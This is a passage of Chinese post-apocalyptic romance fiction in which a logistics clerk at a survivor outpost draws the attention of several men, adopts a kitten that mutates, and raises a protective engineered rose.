围观的士兵们不时发出了喝彩,林阮儿也看得入神,当看到一个瘦高个士兵以极其灵活的动作连续绕过两个敌人,还成功地把标志物放到指定位置的时候,她忍不住跟着人群轻声地赞叹了一句:“好厉害,反应真快啊。”
她声音不大,但在她侧后方不远的地方,有人听到了。
尹宿靠在一截废弃的水泥管上,嘴里叼着根草茎,眯着眼看着场上的对抗,也看着场边那个穿着后勤制服,显得格格不入的窈窕身影。
听到她那声小小的赞叹,他嗤笑一声,朝旁边一个手下勾了勾手指。
手下直接凑了过来:“尹队?”
尹宿朝场上的一位瘦高个子士兵扬了扬下巴,跟他说:“去,把那小子叫过来,就说我找他讨论一下战术。”
手下应声去了,不一会儿,那个
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被林阮儿夸赞过的士兵满头大汗地跑了过来,身姿立正:“尹队,是您找我?”
尹宿上下打量了他几眼,目光在他还算结实的胳膊扫过,慢悠悠地开口:“刚才那几下,玩得挺花啊,显着你了?”
瘦高个士兵的脸上笑容僵了僵:“尹队,我其实吧,就是按训练内容来的。”
尹宿把草茎从嘴里拿下来,在手指间捻着,说:“训练内容是让你随便在训练场显摆肌肉的?如果你精力这么旺盛,今晚巡逻岗再加一班。”
原本瘦高个子的士兵也是他手下,哪敢说一句不是啊,只能蔫着脑,对他应道:“是,尹队。”
“滚吧。”尹宿摆摆手。
等他走后,尹宿的目光又落回到了林阮儿那边,他最近听到些风言风语,消息是从医疗站那边传出的,说是前两天收了个打架斗殴的愣头青,两人都把对方揍得鼻青脸肿的。
护士一边给他处理伤口一边调侃:“通常你们打架还能因为什么,是为了哪个小漂亮姑娘争风吃醋所以打起来的吧,是谁啊?能让你们这帮小子直接动手?”
那两个打架的小子一开始支支吾吾不肯说,后来才说了,刚好,当时尹宿手下的士兵听到了大概,描述的女人和林阮儿很像,尹宿当时脸色就沉了,得让这群荷尔蒙过剩的小崽子们清醒点了。
谁料,盯上林阮儿的人,可不止一两个啊。
训练场的对抗演练还在继续,喧闹声一阵高过一阵,林阮儿看了一会儿,觉得有点晒,便转身打算离开,回后勤部去。
她沿着训练场边的一条杂物堆积的走廊往回走,这边人少,安静些。
尹宿看着她转身离开的背影,从水泥管旁边直起身,拍了拍手上的灰,不紧不慢地跟了上去。
角落里堆着些破旧的训练器材和备用沙袋,现在的天光暗了不少,林阮儿走着路,却并没完全注意到在前面拐角处,有一摊从破损管道漏出来的积水。
尹宿跟在她后面十几步远的地方,双手插在裤兜里,看着她毫无防备地朝那摊积水走去。
就在林阮儿快要踩进积水里的前一秒,尹宿懒洋洋的声音从她身后,说:“喂,看路,有水坑。”
林阮儿猛地刹住脚步,她回过头,看到尹宿朝她走了过来。
尹宿走到她面前停下,距离很近,他低头看着她,然后说:“林登记员,劝你一个人还是不要瞎逛,尤其在男人们多的地方。”
尹宿身上有一股烟草味道,他说完,林阮儿只是浅浅的露出了酒窝笑,她可没那个意思,在男人扎堆的地方待很久。
可见,他是误会了什么。
尹宿盯着她的脸,眼神更深了些。
他抬起自己的手,似乎想碰碰她的脸,但在半空停住了,最后只是用食指的指节,十分轻地蹭了一下她耳边的头发。
“听点话,对你有好处。”随后,他收回了手。
林阮儿能感受得到,他在克制自己,眼神里的欲望转瞬即逝。
15. 第 15 章
隔天上午,林阮儿正在登记房里核对一批新到的罐头生产批号,后勤部的老黄从外面进来,手里拿着一张盖着指挥部和医疗部双章的淡蓝色通知单。
老黄就是上次要他负责净水中枢的对接人,他现在把手里的东西递给了她,说:“医疗部通知,要求对前哨站的所有人要进行一次潜在的健康筛查,说是为了预防可能的新型生物污染和未知辐射影响的隐性伤害,建立健康档案,时间安排在今天下午两点,地点在B区医疗部二楼的分析室。”
单子下边的落款,是医疗部人员签名,林阮儿看到了一个熟悉的名字,苏水鹤。
老黄:“林登记员,这是关系到个人和基地的整体安全防护,每人必须要去,我只是来通知一下你,保证所有人可以了解到位。”
下午两点,林阮儿抽出时间,到了B区医疗部二楼。
走廊的尽头有一扇比较新新的金属门,门上挂着“基因与适应性分析室,非请勿入”的牌子。
门口已经等了几个其他部的人,大家互相看着,却没怎么说话。
两点整,金属门从里面打开了,穿着白大褂的苏水鹤站在门口,白大褂里面是浅蓝色的衬衫,扣子系到最上面一颗,没打领带,跟上次在图书馆的模样还真不同,面前的苏水鹤显得更加沉稳严谨,他的目光十分清澈冷静,带着一种学者的特有理性。
他越过那些人看向了林阮儿,林阮儿能感受得到他的眼神,比上回更加赤.裸.裸,半晌,才缓声:“各位好,我是苏水鹤,请按照排队顺序依次进来,每次一人,过程大概需要十五到二十分钟,感谢配合。”
他的声音很好听,语速不疾不徐,让人不自觉就放松了些。
林阮儿等别人先进去,她坐在走廊上的长椅上等待,终于,轮到她了。
分析室里的空间要比她想象的大,也亮堂得多。
旁边有好几台仪器,房间的正中是一张舒适的检查椅,旁边连着一些探头和采集设备。
空气中除了消毒水味,还有一股很清浅的类似清新剂的味道。
苏水鹤正站在一台仪器前记录数据,听到脚步声转过身,看着她说:“怎么?看到我感到意外?”
“不会。”
苏水鹤轻浅一笑:“感谢你没忘了我。”
“我的记忆力还可以。”林阮儿说。
苏水鹤拿起酒精棉片,示意她伸出手臂,他低着头,专注地擦拭她肘窝的皮肤,指尖隔着棉片,力道轻柔而稳定。
采血的时候,针尖刺入,林阮儿下意识地肩膀缩了一下,苏水鹤立刻停住,抬眼看了看她:“很疼?”
“没,就一下有点,还好其实。”林阮儿说。
“马上好。”他的声音放轻了些,手上动作更快更稳,很快采好了一小管血,贴上止血棉。
接着是采集口腔细胞和头发样本,苏水鹤递给她一个小小的漱口水杯和收集杯,然后转过身去整理之前的血样,林阮儿完全按他说的做完,然后就把杯子递还给他。
苏水鹤接过去,仔细贴上标签。
他的侧脸在灯光下被镀了一层黄色的光,显得格外好看,他的鼻梁挺直,有颗淡痣在鼻梁一侧,凑近了才能看清。
苏水鹤主要问了她在日常会经常接触到的一些物品类型,然后直接在操作台的记录屏上,开始输入一些信息,之后他又问了一些比较常规的问题,比如最近有没有异常疲劳、头晕、食欲变化、皮肤或黏膜有无不明斑点或敏感等等。
对此,林阮儿都一一回答了他。
说着,苏水鹤就转过了身,手里拿着一个巴掌大小的平板电脑,屏幕上是刚刚生成的一些初步波形图和数据。
给她仔细地说明:“你的基础生理指标都在正常范围内,关于潜在风险适配度,也没问题,到时候会有书面报告会直接送到后勤部,如果有任何需要注意的事项,上面会写明,对了,最近有遇到什么麻烦事吗?”
他怎么看得出的,要说麻烦事……尹宿的警告算吗?想起在训练场上那些士兵们的目光,还有秦觉、方怀挺、他们算“特别”麻烦么?
“没有。”她回应他。
苏水鹤:“目前没有可以询问的了。”
“好。”林阮儿点点头,准备起身离开。
男人的声音低沉:“林阮儿。”
林阮儿转过了身,苏水鹤:“和你说的基因检测,要不要做做看?刚好基因检测也在这个房间里,可以吗?”
“好。”
两次的邀请,总拒绝他不好。
基因检测做完后,林阮儿走出了分析室,临走前,苏水鹤和她说,如果有事,哪怕是日常心事都可以找他说,他通常都会在这里,这里比较安静些。
林阮儿走下楼,她低下头看了看自己的手臂,有一个非常微小的红色采血点。<
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二楼的走廊里等待的人已经换了一批。
下了一楼,林阮儿一抬眼,却看见走廊另一头,一个熟悉的高大身影款步朝这边走来。
这个人正是祁牧炎。
祁牧炎也看到了她,目光锁定在林阮儿身上,随即加快,几步就跨到了她面前。
“刚从分析室出来吗?”
“嗯,祁队长现在也要去吧。”林阮儿说。
祁牧炎似乎很久没见到她,林阮儿能看到在他瞳孔里倒映着的她的身影,这会儿,忽然有个医护人员向林阮儿跑了过来,手里拎着一个袋子,递给她:“林小姐,是林阮儿吧?”
林阮儿有点意外:“是我。”
“这袋营养剂是苏博士让我给你的,他说这是日常补充剂,对你很好,一定要你拿着,每日三次,按照上面的剂量服用就行,一次60g左右。”
之后,这位女护士凑近林阮儿耳畔:“这种A级别的高档营养剂,苏博士可不会轻易把它送人,说白了,是他私人用的。”
林阮儿嗯了声,感谢人家帮她送了过来。
林阮儿双手攥着那铝箔袋子,祁牧炎:“看样子,苏博士对你偏爱有加。”
林阮儿抬头看他:“祁队长,你都听见了啊?”
祁牧炎道:“千万别小看了异能者,所有的异能者几乎都具备五感灵敏这点。我近期忙,脱不开身,没法经常去看你。”
林阮儿:“这我知道,祁队长忙你的就好。”
这时,身后祁牧炎的手下老六也出现了,楚猛看两人的视线接触,忽然打破了这道宁静:“老大,怎么了?哟!是林小姐在。”
楚猛:“你应该已经做完了筛查吧?老大,也该轮到我们了。”
“那个做筛查的人是谁来着?哦,那位很年轻的外科专家,还是什么基因学者,博士,挺厉害的一人物,他也是异能者,听人说,应该是龙骨藤,花骸寄生之类的吧?”
祁牧炎感觉自己脑袋左侧的筋在跳,他垂在身体两侧的手,握紧了拳。
楚猛准备继续和林阮儿搭话,就直接说到了她手里的铝箔袋子,祁牧炎的脸色更沉。
“楚猛,不说话没人把你当哑巴。”
只想跟林阮儿聊天,并不清楚发生什么事的楚猛彻底懵了,搔了搔头,他不敢转身看祁牧炎,话音突然炸开,是祁牧炎向来的危险信号,他就知道,他完了。
16. 第 16 章
走出了医疗区域,林阮儿忽然听到一阵很轻很细的声响,这边停的都是医疗车辆,但金属的抓挠声音还是没有停歇。
林阮儿停下脚步,侧耳听了听,声音确定是从一辆车下发出的,她循着声音向那辆车走了过去,在医疗车的缝隙里,蜷着一团毛茸茸的东西。
林阮儿蹲下身,那团东西动了动,抬起了一颗小脑袋。
是只小奶猫,大概只有她手掌那么大,毛色是灰白相间的,左耳朵尖上有一撮黑色的毛,像是不小心沾到的墨点。
它睁着圆溜溜的眼睛看着她,叫了一声,声音又软又颤。
“你怎么在这里啊?是迷路了吗?”林阮儿轻声说,然后朝它伸出了自己的一根手指。
小猫嗅了嗅,然后用湿漉漉的鼻子碰了碰她的指尖,它的毛有些脏,粘着灰尘和不知道是什么的碎屑,但摸上去异常柔软,这让她的心一下子就化了。
“你饿不饿?”她从口袋里摸出一小块能量棒,掰了一点点放在手心。小猫犹豫地凑过来,粉色的舌头舔了舔,然后开始小口小口地啃,它的爪子按在她的手心上,肉垫是嫩嫩的粉色。
“看来你是真饿了。”她看着小猫狼吞虎咽的样子,用另一只手轻轻挠了挠它的下巴。
小猫它发出十分满足的呼噜声,身子在她手心里蹭来蹭去的。
就在这时,身后的一道黑影直接罩住了她。
林阮儿抬起头,一个男人站在她面前,因为逆光,所以她一时没有看清他的脸,只能看出他个子很高,肩膀很宽,穿着基地统一的深绿色的制服,但肩膀上有个她不认识的波浪形标识。
“这是你的猫?”男人开口,声音没有多少起伏。
林阮儿下意识地把小猫往她的怀里护了护,说:“是我刚发现的它,它就钻进了车底下。”
男人没说话,只是蹲了下来。
这下林阮儿看清了他的脸,男人的五官轮廓很深,眼睛是浅褐色的,他伸出了自己的手,不是朝着林阮儿,而是直接朝着小猫。
“等一下,你要干什么?”林阮儿的话没说完,男人的动作很快,但出奇地轻柔,他用一只手稳住小猫,另一只手从腰间的工具袋里取出了一个项圈。
项圈是暗银色的,很细,上面有个小小的指示灯,此刻是黄色的。
他利落地把项圈扣在了它的脖子上,调整到合适的松紧度,但留了一指的空隙,不会勒着它。
小猫扭了扭,但没挣扎。
“这是什么?”林阮儿皱眉问道。
男人站起身:“检测项圈,虽说前哨站外来动物不少,但最近变异动物混进来的频率却增加了,上周三区发生了袭击事件,一只看起来像普通牧羊犬的动物咬伤了两个人,后来发现它的唾液腺已经变异,带有神经毒素。”
林阮儿此刻怀里的小家伙似乎察觉到了紧张气氛,往她怀里缩了缩。“但这只是只小猫,刚断奶的样子。”
“变异不分年龄,而且现在的变异种很会伪装,幼崽形态更容易博取同情,混入人类聚居区,这项圈会监测它的生命体征、脑波活动和生物能量场,三天内如果有异常,指示灯会变成红色。”
它正用脑袋蹭她的手臂,喉咙里发出咕噜咕噜的声音。
林阮儿:“万一它只是只普通的野猫?”
“那再好不过,但这三天内,它不能进入居住区,也不能和其他基地收容所的动物接触。”
他补充了句,“你可以给它喂食,照顾它,医疗区域旁边有个动物收容所,可以给你提供一些宠物粮。”
之后,他们一前一后走着,林阮儿抱着猫,男人走在她后边半步。
路上遇到两个巡逻兵,他们朝男人点头致意,男人只是微微颔首作为回应。
“你是做什么的?”林阮儿忍不住问他。
“A区声波探测员,代钏。”男人简短地回答她。
林阮儿:“我叫林阮儿,是后勤部的登记员。”
动物收容区比林阮儿想象的要干净,那是一个大约二十平米的空间,墙壁刷成了白色,角落里放着几个塑料箱,里面铺着旧布料,林阮儿抱它来原本就是想要拿一些宠物粮的,因为在这里的动物必须已经经过严格检测通过才行。
这里的喂食员会给到她食物,林阮儿付钱买了宠物粮,给它喂食。
喂食的时候,它的小脑袋顶她的手,简直可爱极了。
代钏在她身后看着她:“你对它很有耐心。”
林阮儿:“它看样子很可怜。”
代钏:“其实我曾经养过狗,后来它变异了,我不得不处理掉,就因为是动物,才更容易被感染、变异,末世改变了所有东西,包括你以为理所当然的常识,同情心是好事,但活下来才最要紧。”
林阮儿看着他,此刻的他,那双浅褐色的眼睛很亮,像某种警觉的野生动物。
林阮儿话到嘴边又咽了回去,她见过变异动物造成的伤口,见过那些不像自然界该有的形态。
代钏从口袋里掏出一张卡片递给她:“这是我的联络编码和地址,有任何异常,可以直接找我。”
林阮儿接过卡片,上面手写着一串数字和一个区域编号。
第二天早上九点左右,在登记房里进来了一位十分分年轻的士兵,他探头进来,问她就是林阮儿吧。
“是。”
“哦,我叫小李,负责A区域的巡逻,探测员他让我看看你有没有需要帮忙的。”
林阮儿:“帮忙?”
“是啊,比如喂猫啊,打扫啊什么的,他还特意交代了,说这小猫的监测很重要,不能马虎。”
后来,士兵看到了小猫,就蹲下来摸着它的小脑袋说:“嘿,这小家伙还真有趣啊,但说起来,上周我们抓到了一只变异松鼠,看起来也是人畜无害的样子,结果牙齿能咬穿金属,所以现在只要是外来动物都要经过检测。”
他看向林阮儿,“你别太担心,顾探测员虽然看起来冷冰冰的,但做事很靠谱,他经手的检测,从来没出
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过错。”
两人正说着,林阮儿余光瞥见门缝之外,站着一个人。
是代钏,他不知道在那里站了多久,只是静静地看着这边,没有进来。
之后,小李走出去,看到了代钏。
跑过去:“探测员,我已经按您的吩咐帮她给小猫的临时窝做了处理,给小猫喂了食。”
“好,你去忙你的巡逻任务吧。”
小李愣了一下,随即点头:“是。”
第二天平静地过去了,林阮儿白天补觉,傍晚她到自己房间里,去看小猫时,发现食它的状态很好,甚至胖了一点,项圈指示灯仍然是黄色的。
第三天早上,林阮儿去的时候,代钏已经在那里了。他正拿着一个手持仪器对着小猫扫描,屏幕上滚动着复杂的数据。
“怎么样?”林阮儿紧张地问。
“截止目前为止一切正常,如果今天下午还没有变化,就基本可以排除了。”
林阮儿松了口气,说:“那可以带它回家了?”
代钏看着她,温声地对她道:“你确定要养它?基地的资源有限,养宠物需要额外申请配额。”
林阮儿她点点头,说:“嗯,我会省下自己的部分配给给它。”
下午三点,七十二小时快到了,林阮儿已经想好了给它取名字,就叫它墨点好了。
房间内,小猫蹲在箱子边缘,背弓着。
听到开门声,它猛地转过头,林阮儿发现项圈的指示灯,不知何时变成了刺眼的红色,正急促地闪烁。
“墨点?”她试探性地叫了一声。
然而,这时候,它的喉咙里发出低沉的咆哮,那完全不像一只奶猫该有的声音。
它的眼睛在昏暗的光线下泛着不正常的红光,嘴巴张开,露出过于尖锐的牙齿。
小猫从箱子里跳了出来,它的动作不再笨拙,它的体型似乎变得更大了一些,毛皮下有东西在蠕动,它朝林阮儿逼近了一步。
林阮儿转身就跑。
她冲出登记房,砰地关上门,背靠着门板大口喘气。
里面传来抓挠声和低吼,她摸索着口袋里的那张卡片。
地址在A区的物资分配站,她跑出后勤站时,一个拐弯就直接撞进了一个坚实的胸膛,突然间的冲力直接让她往前倒去,结果,一只手扶住了她的胳膊,稳住了她。
林阮儿抬起头,看见了代钏的脸。
他居然就在这附近,林阮儿喘着气说:“小猫它的项圈变了颜色,变成了红色。”
“嗯。”代钏的声音异常冷静。
“监视器在五分钟前开始报警,我就过来了。”
他的语调非常轻缓,像是在安抚她。
但他的手仍旧环住了她的腰身,并未及时松开,女人现在仍旧惊魂未定,显然对发生的一切感到意外,反观代钏的表情,极其淡定,感觉他早已料到了最终的结果,见她这样慌,另一只没放在腰间的手,先是滞在半空,然后轻轻地拍拍她的右肩。
17. 第 17 章
他转身朝着登记房走去,步伐很稳,林阮儿跟在他身后,双腿还在发软。
代钏推开门,里面的抓挠声停止了,那东西蹲在房间中央,项圈的红光映在它眼睛里,让它看起来像来自地狱的小怪物,它朝代钏低吼。
代钏没有拿出任何武器,只是站在那里看着它。
嘴里传出了口哨的声音,那声波带着细微震动,那东西的动作突然僵住了,它试图向前扑,但四肢像是被无形的绳索捆住,只能在原地挣扎。
代钏继续发出那种声音,同时慢慢走近,他伸出手,不是去抓它,而是轻轻按在它的头顶。
挣扎停止了,那东西的眼睛闭上了,身体软了下来,倒在地上,不再能动弹,项圈的红光消失了。
代钏蹲下身,解开了项圈,他检查了一下它的呼吸和脉搏,然后站起身。
“它……怎么了?”林阮儿小声问。
“昏迷了,是声波抑制,会让它睡上一段时间,然后被送到专门的地方去,那里的人会研究它,看看能不能逆转变异,或者至少从它身上发现些什么,能够防止下一只有这种情况。”
代钏从口袋里掏出一个纸张递给她,“这是我的私人通讯号码,如果你还想养宠物,我可以帮你留意。”
“谢谢。”她说。
上次小猫变异的事件已经过去两周,但她还是会做噩梦,梦里的那只小奶猫的眼睛变为了红色,项圈闪烁刺眼的光。
前哨站虽然相对安全,但医疗区偶尔会送来被变异动植物袭击的伤者,那些伤口她见过,隐约还是会感到后怕。
然后她想起了傅青源。
二十分钟后,她去了温室区域,看见门外的一个公告板上贴了新的警示信息:近期前哨站的外围发现三例新型变异藤蔓,具攻击性,请勿靠近未标识区域。
这次,门外的士兵并没拦她,果然,傅青源真的在,他在最里面的工作台前,正低头观察一株叶子带银色斑纹的植物,听见脚步声就抬起了头,看见林阮儿时愣了一下,然后笑了。
傅青源:“看来你有事找我。”
他摘下手套,走过来。
“打扰你工作了。”林阮儿说。
“不打扰,正好休息一下,坐。”傅青源指了指旁边的椅子,道。
林阮儿坐下后,说:“上次送我的罗勒叶吃完了,我想再要一些,这次不白拿。”
“在这种时候,通常最值钱的东西,就是物资,难道用你一顿的食物来换吗?”
“嗯,我拿了肉罐头来。”
傅青源低头,低笑了声:“开个玩笑,你是最近发生了什么事么?”
他完全能够看透她,林阮儿只能把捡到奶猫的事和他说了。
傅青源:“罗勒叶只能暂时起到作用,最近我在试验一批新的异植,这些异植不是变异的,而是人工诱导培育的,其中有一种玫瑰,还在测试阶段,但初步效果不错。”
“我能看看吗?”
傅青源走到一个特制的玻璃柜前,打开锁,从里面小心翼翼地端出一盆植物。
那是一盆深红色的玫瑰,种在一个白色陶盆里,花开了三朵,花瓣厚实,花茎和叶子上布满了细密的银色纹路。
傅青源把花盆放在林阮儿面前的桌子上,说:“只要当它感知到附近有敌意或者威胁时,会释放一种特殊的气味,人类闻不到,但会让大多数变异生物不适,让它们不愿靠近,同时,花茎上的刺会变硬,如果有人或东西强行触碰,刺会脱落,刺有微量的镇静成分,能让对方行动迟缓。”
林阮儿:“这么厉害?”
“还在测试的阶段,因为是第一批试验品,就培育了十盆,效果是有的,但持续时间还有作用范围都还需要继续观察一阵,而且它需要认主。”
“认主?”
傅青源:“对,需要种植者亲手种下亲手照料,每天和它有接触,这样它才会记住你的生物信息,只对你和你在意的人友好,否则它的刺对谁都可能起作用。”
林阮儿看了看那盆玫瑰,又看了看傅青源:“现在就能种?”
傅青源点头,道:“我这边正好有育苗,你跟我来。”
他带她走到温室角落外,一个小隔间,隔间里的温度也稍微低一点,架子上摆着各种幼苗,都标着编号和名字,傅青源从中间取下一个很小的花盆,里面
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是一株只有两片叶子的玫瑰苗,叶子也是带着银色纹路。
“这是同一批的幼苗,你把它带回去,换个稍大点的盆,用我给你的特制土壤每天浇水一次,不需要太多,保持土壤湿润就行,放在有光的地方,但别直射人造光太久,最重要的是,每天要用手碰碰它的叶片,它需要熟悉你的声音和气息。”
林阮儿接过那个小花盆,幼苗很小,看起来脆弱得很,她都不敢用力拿。
“它要多久才能长大?”
“异植长得快,一个月左右就能开花,但保护功能从种下去就开始有了,只是范围小一点,开花后,范围能扩大到五米左右。”
他转身去另一个架子上取东西,一袋特制土壤,一个小喷壶,一本薄薄的手册。他把这些都装进一个布袋里,递给了林阮儿,并给她一本十分详细的养护说明,事无巨细。
之后,他又走到了工作台前,拉开一个抽屉,从里面拿出一个很小的小袋子,像是香囊,但材质是特制的透气布料。
“这个你带着,里面是这盆玫瑰母株的干花瓣磨成的粉,加上一些其他驱虫植物的提取物,你随身带着,如果遇到什么不对劲的情况,或者要去不太安全的地方,拿出来闻一闻,对你来说这比罗勒叶要更安神一点。”
林阮儿接过小袋子,它很轻,闻起来类似檀木但又更清新的味道。
回到房间的林阮儿,按照手册上的步骤,小心翼翼地给幼苗换盆,特制的土壤是深棕色的,松软,还带着一股好闻的泥土味,她把幼苗种了进去,用手指轻轻压实土壤,然后喷了一点水。
林阮儿蹲在花盆前,看了好久。然后她伸出手,用指尖轻轻碰了碰其中一片叶子。
那叶片被她碰了后,还有些害羞似的缩了回去,林阮儿拿着手里傅青源给到的一个小的通讯设备,种植的过程中可能出现许多问题,需要他解答,只是怕自己不在温室区域,因此用通讯器交流,会更方便。
林阮儿准备试试,现在九点左右,她把通讯器打开,她听到了那边沉而均匀的呼吸声,喉间滚出很轻的咕哝声音,咬字却很清晰。
三个字。
林、阮、儿……
18. 第 18 章
林阮儿每天安心种植,不时给它添加一些培养土,盆里的玫瑰已经长到三十厘米高了,深绿色的叶子密密匝匝的,茎秆上开始冒出几个小小的硬邦邦花苞。
现在的她蹲在盆边,手里捏着个小喷壶,细细地给叶子喷水,水珠挂在叶缘。
手腕上戴着的通讯器就在这时震动起来,黑色的金属手环闪着蓝光,林阮儿擦了擦手,按下接听键。
“在做什么?”傅青源的声音从手环里传出来,很近,像是贴在她耳边说话。
“浇花,今天它又长高了一点。”
林阮儿:“傅主任你今天在忙什么?”
“整理旧世界的部分植物档案,图书馆的地下室昨天清理出来了,运回来十几箱纸质书和记录盘,我负责分类,大部分都霉烂了,但有些还能读,我找到一本植物图鉴,里面有玫瑰的栽培方法,晚点传给你。”
“真的?那谢谢你了。”
“不用谢我,反正那些资料放着也是放着,能派上用场最好。”
两人又聊了二十分钟,傅青源告诉她一些趣事。
林阮儿听得入神,听到他说的玫瑰和爱情的关系,但爱情这个词对她来说感觉实在过于遥远了,于是她说:“以前可能还会谈恋爱之类的,但现在只要能吃饱,能活着就很好了。”
傅青源沉默半刻,道:“爱情在任何时候都可以发生,比如,现在也可以。”
现在……吗?
林阮儿在听筒这边哦了一声。
通话结束之后,林阮儿在登记房里站起来伸了个懒腰,准备去食堂吃晚饭。
就在这时,敲门声响起。
她打开门,尹宿就站在外面。
尹宿穿着黑色的作战服,袖子挽到手肘,抱臂直直地盯着她看。
他叫她的名字,问:“要出去?”
“嗯,准备去食堂吃饭了。”
“你刚刚在跟谁说话?”尹宿突然问。
林阮儿:“什么?”
“三分钟前,我听见你房间里有说话声,不是自言自语,是在跟人对话。”
林阮儿:“尹队长。”
尹宿虽然低头笑,但他的笑容里显然没什么温度:“过去七天,你有四个晚上在跟人说话,每次都是同一个男人的声音,通过某种通讯设备,你们聊玫瑰,聊基地里的琐事,最长的一次聊了三十七分钟。”
看女人一脸疑惑的样子,他只好解释,“你应该知道,我是异能者,异能是声波感知,可以捕捉特定频率的声音并定位来源,本来是用来侦查敌情和搜寻幸存者的,但有个副作用,如果我对某种声音在意,就会不自觉地锁定它,哪怕在睡觉的时候。”
他往前又走了一步,现在两人之间的距离不到半米,林阮儿能闻到他身上淡淡的烟草气。
林阮儿:“什么声音都能听得到吗?”
“说话的声音。”
尹宿:“基地没你想象的安全,小美女,我不是有意探听,我希望你不要把这种行为当作是变.态。”
“尹队长,我没那个意思。”
尹宿停顿了下,观察她的反应:“林登记员,我是怕你太容易相信别人。”
林阮儿:“是温室区的傅主任,我和他通过通讯器问他关于植物种植的事,没有别的。”
尹宿:“哦,了解,时间不早了,要不一起去食堂?”
林阮儿:“好。”
食堂今天的饭还算丰盛些,土豆牛肉、红薯饼、菠菜汤,新鲜的肉可比什么肉罐头要好很多,两人进来时,在食堂的有些士兵看到两人,瞳孔都睁大了。
“我去,那不是寒蝉小队的尹队吗?怎么和林登记员一起吃饭?”
“谁晓得呀,尹队一般不都坐到营养加餐那块儿吗?怎么到普通餐区去了?那饭能有多少营养啊?”
“她就是林阮儿吧,听说过她,现在这么一看,比听说的还漂亮不少啊。”
“你小子别想勾起什么歪心思,怎么着也轮不到你哈。”
……
两人刚打好饭坐下,旁边忽然一道身影也坐了下来。
林阮儿抬头看,原来是营养坊的方师父,尹宿在她对面坐定,他则在林阮儿的身边坐下。
方怀挺把手里包装精美的盒子放在桌上。
“原本下午想去找你的,正好在这里见到你,林小姐。”
方怀挺微笑着,继续说,“我做了蛋糕,是你喜欢的口味,想让你尝尝。”
林阮儿可是个蛋糕脑袋,她说:“谢谢。”
他的目光看到房间里的尹宿,笑容淡了一点:“尹队长也在啊。”
“是什么蛋糕?”林阮儿问。
“蓝莓芝士,我用实验室培育的蓝莓做的,知道你不喜欢很甜的,专门还调整了配方,应该还不错。”
方怀挺打开盒子,里面是一块方形的蛋糕,淡紫色的芝士层上铺满了新鲜的蓝莓,最上面还淋了一层透明的果胶。
蛋糕看起来很诱人,散发着淡淡的奶香和果香,林阮儿没法克制自己口水的分泌,对他说这直接送自己的吗。
方怀挺:“其实是我的谢礼,毕竟每回都要让林小姐提前充当我的小白鼠,自然要谢。”
林阮儿打开盒子,拿起叉子说:“不用客气啦。”
闻着甜滋滋的,吃到嘴巴里面更是美滋滋的。
好
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好吃啊!林阮儿的表情快好吃哭了,于是说:“方师父,我可以以后经常充当你的实验小白鼠,完全没问题。”
尹宿幽幽道:“营养坊里的工作这么闲?还花时间给别人做蛋糕?”
方怀挺转身看他,表情平静:“我的工作时间是早上九点到下午六点,中午可以休息一小时,这些时间段我可以自由支配。”
尹宿:“我记得没错,前哨站有自己配发的定额食材。”
方怀挺似乎知道他要说什么,说:“确实定额,我不用基地配发的食材,而是自己的食材,额外物资换来一些奶油奶酪,至于蓝莓是我自己种的,在实验室的培育箱里,有登记记录,你可以去查。”
尹宿低头看着那块蛋糕:“现在这种时候,把物资换了送人礼物,真是奢侈。”
方怀挺:“我想,因为林小姐喜欢吃,只要她喜欢,我就会继续做给她吃。”
平时偶尔让林阮儿吃个小份的边角料可以,这种12寸的蛋糕确实只有营养坊的客人要求才能做,显然,林阮儿是那个例外。
林阮儿只顾着一直低头吃蛋糕,并没听他们在说什么,眨巴着眼,一会儿看看尹宿,一会儿目光移到了方怀挺脸上,方怀挺和尹宿瞬间纷纷熄了声音。
林阮儿觉得蛋糕有点大,自己吃不完,准备让让两人。
“尹队长可以尝尝,要不,方师父,你也尝一块?”
尹宿点头,林阮儿帮他切下一小块蛋糕到他的盘子里。
他抬眼,林阮儿的眼睛亮亮的看着自己,如沐春风的笑容,叫他一时间愣了神,可偏偏,这种笑容也给了另外一个男人。
在他旁边的方怀挺。
方怀挺:“我就不吃了,特意给林小姐带的,吃不完没有关系,但最好不要分给其他人。”
尹宿毫不犹豫地把那块蛋糕吃掉,不给别人留机会。
林阮儿吃好了饭,把蛋糕用盒子重新绑了起来,准备打包回去慢慢地吃。
她吃饭比较慢,抬头一看两人的饭盒早就空了,却都没走。
尹宿:“吃好了吗?我送你。”
方怀挺:“还是我送林小姐。”
看来,尹队长和方师父待人都很热情呢,这时候,林阮儿手腕上的通讯器又开始振动了起来。
里面传来了傅青源的声音。
一般他今天通话过后,明天通讯器才会反应,怎么现在就?
林阮儿把嘴巴凑近,准备问些什么时,对方先开口了。
“那边的声音很吵,是发生什么事了吗?”
林阮儿这才发觉,通讯器断开时候会是黑色的,而刚才,通讯器一直在闪,颜色是淡黄色的。
19. 第 19 章
傅青源:“骗人可是不好的哟。”
原来他都已经听到了。
林阮儿只好和他仔细地说明了下。
傅青源半晌都不说话,可能是在担心自己吧。
傅青源手里一盆花,原本是鲜红色的,却瞬间蔫了,花瓣边缘开始发黑。
他用手指碰了碰,花瓣直接碎成了粉末。
那两人完全是把林阮儿当作自己的私有物了呵,他想。
三天后,前哨站北面大批的丧尸清剿行动总算结束了。
祁牧炎摘下沾满污血的手套,随手扔进了焚烧桶里,他身后的士兵们正在欢呼,这次行动清理掉了城郊工业业区里盘踞的几百个丧尸,最重要的是找到了一处完整的食品加工厂仓库,里面封存着大量末世前的罐头和真空包装食品。
“祁队,晚上要不要庆祝一下?后勤部那边批了点好食材,咱们搞一顿火锅怎么样?”
手下楚猛走过来,脸上挂着笑,道。
祁牧炎挑了挑眉:“上面这么大方?”
“这次战果丰硕嘛,我还听说,后勤部那边有从旧城冷库里找出来的冻肉,一直舍不得拿出来,这次批了两斤。”
祁牧炎想了想:“行,你去安排,就在军帐里弄,地方大一点。”
“好嘞!”楚猛转身要走。
“等等,顺便……去请一下后勤部登记处的林阮儿。”
楚猛:“明白,我这就去。”
“算了,我去。”
祁牧炎看楚猛走后,走到屋里的水槽边洗了把脸。
水是冷的,不过能让他瞬间变得清醒,他擦干脸,换下作战服,穿上常服,深绿色的制服肩膀上别着队长徽章,他对着镜子整理了一下衣领,然后转身走出了军帐。
后勤部登记处进入后,却没人。
他转到了后面的院子内,院子里种着些植物。
祁牧炎走进院子时,正好看见墙角的玫瑰花藤像蛇一样蠕动。
祁牧炎警惕性极强,他瞬间停下脚步,手已经摸到了腰间的匕首,那是一把军制匕首,刀身用特殊合金打造,能轻易斩断强化后的变异植物。
花藤突然猛地蹿起,直接缠住了他的左脚踝。
